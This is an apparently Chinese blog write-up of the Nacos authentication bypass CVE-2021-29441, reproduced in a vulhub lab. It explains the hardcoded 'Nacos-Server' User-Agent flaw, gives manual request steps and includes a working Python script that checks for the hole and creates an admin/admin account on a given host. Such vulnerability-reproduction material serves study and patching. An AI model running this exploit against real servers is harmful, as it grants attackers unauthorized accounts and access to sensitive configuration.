首页 > 其他分享 >Nacos 认证绕过漏洞(CVE-2021-29441)

Nacos 认证绕过漏洞(CVE-2021-29441)

时间:2024-09-06 16:18:34浏览次数:10  
标签:29441 nacos auth Nacos 漏洞 2021 print

相关介绍


Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
小知识:Nacos初始用户名和密码为nacos

漏洞发生原因

该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。
开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

影响版本

Nacos <= 2.0.0-ALPHA.1

修改建议

升级到最新版本

漏洞环境搭建


我使用的vulhub,位置在nacos/CVE-2021-29441,进入此目录并输入下方命令:

sudo docker-compose up -d

漏洞复现


1、检测漏洞是否存在

访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9,修改成User-Agent:Nacos-Server,如下图:

可以看到返回值为200,且内容中是否包含pageItems
图片上面加密的密码是初始密码,为nacos

2、添加新用户

使用POST方式访问http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub来添加一个新用户

可以看到创建成功,再访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9来查看创建的用户

3、使用新建的用户登录


登录成功,但是弹出没有public命名空间的访问权限

代码实现


这个漏洞很简单,就尝试写了个。我搭建的环境能用,不知其他环境可不可以

import requests
import sys
import json

def poc():
    url_ = str(sys.argv[1])
    url1 = 'http://'+url_+'/nacos/v1/auth/users?pageNo=1&pageSize=9'
    headers = {
        'User-Agent': 'Nacos-Server'
    }

    # 检测漏洞是否存在
    response1 = requests.get(url1, headers=headers)
    status_code = response1.status_code
    if status_code == 200 and json.loads(response1.text)["pageItems"]:
        print("存在Nacos 认证绕过漏洞(CVE-2021-29441)")
    else:
        print("暂未发现Nacos 认证绕过漏洞(CVE-2021-29441)")
        return

    # 创建新用户
    print("将创建新用户:admin/admin")
    url2 = 'http://'+url_+'/nacos/v1/auth/users?username=admin&password=admin'
    response2 = requests.post(url2, headers=headers)
    try:
        if json.loads(response2.text)["code"] == 200:
            print("创建成功")
    except json.decoder.JSONDecodeError:
        print("创建失败,原因:"+response2.text)


if __name__=="__main__":
    poc()

代码测试

使用方法:python poc.py ip:port

标签:29441,nacos,auth,Nacos,漏洞,2021,print
From: https://www.cnblogs.com/konglongwu/p/18400445

相关文章

  • debian11 申通 无感考勤 mysql postgresql nacos集群
     echo"nameserver114.114.114.114nameserver8.8.8.8">/etc/resolv.conf echo"debhttps://mirrors.aliyun.com/debian/bullseyemainnon-freecontribdeb-srchttps://mirrors.aliyun.com/debian/bullseyemainnon-freecontribdebhttps://......
  • 2021年Web前端面试宝典WebAPI部分
    DOM是一种树形结构的数据结构3、dom操作的常用api有哪些?(必会)dom操作的常用api有以下几种1、获取dom节点1.1)document.getElementById(‘div1’)1.2)document.getElementsByTagName(‘div’)1.3)document.getElementsByClassName(‘container’)1.4)document.querySelecto......
  • 1999-2021年中国分省平均受教育年限面板数据(两份)(全新整理)
    文章目录数据下载地址数据指标说明项目备注数据下载地址数据下载地址点击这里下载数据数据指标说明平均受教育年限指对一定时期、一定区域某一人口群体接受学历教育(包括成人学历教育,不包括各种学历培训)的年数总和的平均数。按照现行学制为受教育年数计算人均受......
  • 【SpringBoot】使用Nacos服务注册发现与配置管理
    前提:需要提前部署好nacos服务,这里可以参考我的文章:Windows下Nacos安装与配置0.版本信息SpringBoot3.2.8SpringCloud2023.0.1SpringCloudalibaba2023.0.1.0nacos2.3.2本地安装的nacos2.3.0       SpringBoot、SpringCloud、SpringCloudalibaba的版本对应可......
  • 使用 Nacos 实现动态路由
    Hello,大家好,我是V哥。最近写到使用Nacos实现动态路由的问题,整理了一下思路和案例,分享给大家。使用Nacos实现SpringCloudGateway的动态路由,主要涉及到以下几个步骤:添加依赖:在SpringCloudGateway应用的pom.xml文件中添加Nacos相关依赖。配置Nacos:在......
  • idea2021安装教程与常见配置(可激活至2099年)
    idea2021安装教程与常见配置(可激活至2099年)下载官网下载地址:https://www.jetbrains.com/zh-cn/idea/download/other.html这里我们选择压缩包安装方式,选择2021.3-Windowsx64ZIPArchive(zip),也可以选择exe安装方式安装解压缩安装方式创建非中文目录D:\idea2......
  • 直接复制nacos库,最后编辑-保存报错
    更改nacos的yml文件,保存后报错:caused:PreparedStatementCallback;SQL[INSERTINTOhis_config_info(id,data_id,group_id,tenant_id,app_name,content,md5,src_ip,src_user,gmt_modified,op_type)VALUES(?,?,?,?,?,?,?,?,?,?,?)];Field'nid'doesn&......
  • THE UNIVERSITY OF MANCHESTER-NUMERICAL ANALYSIS 2Final Exam2021
    2.(a)BrieydescribehoworthogonalpolynomialscanbeusedtofindthenodesofGaussianquadra-turerulesforaweightedintegral∫a......
  • YOLOS:大道至简,直接使用预训练ViT进行实时目标检测 | NeurIPS 2021
    论文探索了在中型ImageNet-1k数据集上预训练的普通ViT到更具挑战性的COCO目标检测基准的可迁移性,提出了基于VisionTransformer的YouOnlyLookatOneSequence(YOLOS)目标检测模型。在具有挑战性的COCO目标检测基准上的实验结果表明,2D目标检测可以以纯sequence-to-sequence的方......
  • 中国各地级市工业三废数据(2006-2021年)
    关于工业三废的数据,可以在中国城市统计年鉴、省级统计年鉴、城市统计公报以及官方公告中找到相关信息。工业二氧化硫排放量、工业烟粉尘排放量和工业废水排放量是衡量工业污染的重要指标,这些数据通常由各地环保部门和统计部门发布。2006-2021年国内各地级市工业三废数据整理_......